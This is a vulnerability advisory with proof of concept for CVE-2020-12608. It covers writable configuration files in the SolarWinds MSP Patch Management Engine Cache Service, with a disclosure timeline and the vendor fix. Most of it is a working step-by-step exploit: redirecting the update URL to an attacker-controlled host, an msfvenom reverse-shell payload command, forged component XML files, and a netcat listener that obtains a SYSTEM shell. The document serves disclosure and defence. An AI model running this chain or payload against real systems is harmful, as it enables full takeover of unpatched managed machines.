SolarWinds MSP PME Cache Service – Insecure File Permissions / Code Execution
Author: Jens Regel
CVSSv3: 8.2 [CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H]
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12608
CWE: https://cwe.mitre.org/data/definitions/276.html
Vulnerable version
SolarWinds MSP PME (Patch Management Engine) before 1.1.15
Timeline
- 2020-04-24 Vulnerability discovered
- 2020-04-27 Send details to SolarWinds PSIRT
- 2020-04-27 SolarWinds confirmed the vulnerability
- 2020-05-05 SolarWinds released PME version 1.1.15
- 2020-05-06 Public disclosure
Description
An error with insecure file permissions has occurred in the SolarWinds MSP Cache Service, which is part of the Advanced Monitoring Agent and can lead to code execution. The SolarWinds MSP Cache Service is typically used to get new update definition files and versions for ThirdPartyPatch.exe or SolarWinds MSP Patch Management Engine Setup. The XML file CacheService.xml in %PROGRAMDATA%\SolarWinds MSP\SolarWinds.MSP.CacheService\config\ is writable by normal users, so that the parameter SISServerURL can be changed, which controls the location of the updates. After some analysis, we were able to provide modified XML files (PMESetup_details.xml and ThirdPartyPatch_details.xml) that point to an executable file with a reverse TCP payload using our controlled SISServerURL web server for SolarWinds MSP Cache Service.
Proof of Concept (PoC)
As we can see, NTFS change permissions are set to CacheService.xml by default. Any user on the system who is in group users can change the file content. This is especially a big problem on terminal servers or multi-user systems.
PS C:\ProgramData\SolarWinds MSP\SolarWinds.MSP.CacheService\config> icacls .\CacheService.xml
.\CacheService.xml VORDEFINIERT\Benutzer:(I)(M)
NT-AUTORITÄT\SYSTEM:(I)(F)
VORDEFINIERT\Administratoren:(I)(F)
1. Modify CacheService.xml
In the xml file, the parameter SISServerURL was adjusted, which now points to a web server controlled by the attacker.
<?xml version="1.0" encoding="utf-8"?>
<Configuration>
<CachingEnabled>True</CachingEnabled>
<ApplianceVersion>1.1.14.2223</ApplianceVersion>
<CacheLocation>C:\ProgramData\SolarWinds MSP\SolarWinds.MSP.CacheService\cache</CacheLocation>
<CacheSizeInMB>10240</CacheSizeInMB>
<SISServerURL>https://evil-attacker.example.org</SISServerURL>
<LogLevel>5</LogLevel>
<Proxy></Proxy>
<ProxyEncrypt>AQAAANCMnd8BFdER(...)</ProxyEncrypt>
<ProxyCacheService />
<CacheFilesDeleted></CacheFilesDeleted>
<CacheDeletedInBytes></CacheDeletedInBytes>
<HostApplication>RMM</HostApplication>
<CanBypassProxyCacheService>True</CanBypassProxyCacheService>
<BypassProxyCacheServiceTimeoutSeconds>1</BypassProxyCacheServiceTimeoutSeconds>
<ComponentUpdateMinutes>300</ComponentUpdateMinutes>
<ComponentUpdateDelaySeconds>1</ComponentUpdateDelaySeconds>
</Configuration>
2. Payload creation
Generate an executable file, for example using msfvenom, that establishes a reverse tcp connection to the attacker and store it on the web server.
msfvenom -p windows/x64/shell_reverse_tcp lhost=x.x.x.x lport=4444 -f exe > /tmp/solarwinds-shell.exe
3. Prepare web server
Place the modified xml files (PMESetup_details.xml or ThirdPartyPatch_details.xml) on the web server in the path /ComponentData/RMM/1/, generate MD5, SHA1 and SHA256 hashes of the executable, set correct values for SizeInBytes and increase the version.
Example of PMESetup_details.xml
<ComponentDetails>
<Name>Patch Management Engine</Name>
<Description>Patch Management Engine</Description>
<MD5Checksum>7a4a78b105a1d750bc5dfe1151fb70e1</MD5Checksum>
<SHA1Checksum>3d9ed6bd44b5cf70a3fed8f511d9bc9273a1feac</SHA1Checksum>
<SHA256Checksum>
80579df2533d54fe9cbc87aed80884f6a97e1ccdd0443ce2bcb815ef59ed3d65
</SHA256Checksum>
<SizeInBytes>7168</SizeInBytes>
<DownloadURL>/ComponentData/RMM/1/solarwinds-shell.exe</DownloadURL>
<FileName>solarwinds-shell.exe</FileName>
<Architecture>x86,x64</Architecture>
<Locale>all</Locale>
<Version>1.1.14.2224</Version>
</ComponentDetails>
Example of ThirdPartyPatch_details.xml
<ComponentDetails xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Name>Third Party Patch</Name>
<Description>
Third Party Patch application for Patch Management Engine RMM v 1 and later
</Description>
<MD5Checksum>7a4a78b105a1d750bc5dfe1151fb70e1</MD5Checksum>
<SHA1Checksum>3d9ed6bd44b5cf70a3fed8f511d9bc9273a1feac</SHA1Checksum>
<SHA256Checksum>
80579df2533d54fe9cbc87aed80884f6a97e1ccdd0443ce2bcb815ef59ed3d65
</SHA256Checksum>
<SizeInBytes>7168</SizeInBytes>
<DownloadURL>/ComponentData/RMM/1/solarwinds-shell.exe</DownloadURL>
<FileName>solarwinds-shell.exe</FileName>
<Architecture>x86,x64</Architecture>
<Locale>all</Locale>
<Version>1.2.1.95</Version>
</ComponentDetails>
4. Malicious executable download
After restarting the system or reloading the CacheService.xml, the service connects to the web server controlled by the attacker and downloads the executable file. This is then stored in the path %PROGRAMDATA%\SolarWinds MSP\SolarWinds.MSP.CacheService\cache\ and %PROGRAMDATA%\SolarWinds MSP\PME\archives\.
[24/Apr/2020:10:57:01 +0200] "HEAD /ComponentData/RMM/1/solarwinds-shell.exe HTTP/1.1" 200 5307 "-" "-"
[24/Apr/2020:10:57:01 +0200] "GET /ComponentData/RMM/1/solarwinds-shell.exe HTTP/1.1" 200 7585 "-" "-"
5. Getting shell
After a certain time the executable file is executed by SolarWinds MSP RPC Server service and establishes a connection with the rights of the system user to the attacker.
[~]: nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [x.x.x.x] port 4444 [tcp/*] accepted (family 2, sport 49980)
Microsoft Windows [Version 10.0.18363.778]
(c) 2019 Microsoft Corporation. Alle Rechte vorbehalten.
C:\WINDOWS\system32>whoami
whoami
nt-authority\system
C:\WINDOWS\system32>
Fix
There is a new PME version 1.1.15 which comes with auto-update
